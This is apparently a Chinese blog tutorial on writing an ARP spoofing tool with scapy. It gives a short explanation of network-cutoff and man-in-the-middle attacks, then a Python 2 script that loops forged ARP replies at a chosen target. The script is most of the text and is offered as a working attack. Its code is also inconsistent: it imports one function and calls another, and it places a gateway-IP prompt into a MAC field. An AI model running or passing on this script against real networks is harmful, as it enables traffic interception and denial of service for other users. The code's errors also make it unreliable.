前言:
想实现像arpsoof一样的工具
arp断网攻击原理:
通过伪造IP地址与MAC地址实现ARP欺骗,在网络发送大量ARP通信量。攻击者
只要持续不断发送arp包就能造成中间人攻击或者断网攻击。
0x01:
准备工作
Linux环境下:(windows环境下各种错误,其中有个错误是缺少windows.dll至今无法解决)
有scapy模块
如果没有进行安装
py2安装方法
pip install scapy
py3安装方法
pip install scapy3
我们要用到scapy模块里的
from scapy.all import (
ARP,
Ether,
sendp
)
from scapy.l2 import getmacip
Ether是构造网络数据包
ARP进行ARP攻击
sendp进行发包
代码如下:
import os
from scapy.l2 import getmacip
from scapy.all import (
ARP,
Ether,
sendp
)
ifconfig=os.system('ifconfig')
print ifconfig
gmac=raw_input('Please enter gateway IP:')
liusheng=raw_input('Please enter your IP:')
liusrc=raw_input('Please enter target IP:')
try:
tg=getmacbyip(liusrc)
print tg
except Exception , f:
print '[-]{}'.format(f)
exit()
def arpspoof():
try:
eth=Ether()
arp=ARP(
op="is-at",#ARP响应
hwsrc=gmac,#网关mac
psrc=liusheng,#网关IP
hwdst=tg,#目标Mac
pdst=liusrc#目标IP
)
print ((eth/arp).show())
sendp(eth/arp,inter=2,loop=1)
except Exception ,g:
print '[-]{}'.format(g)
exit()
arpspoof()
运行截图
效果图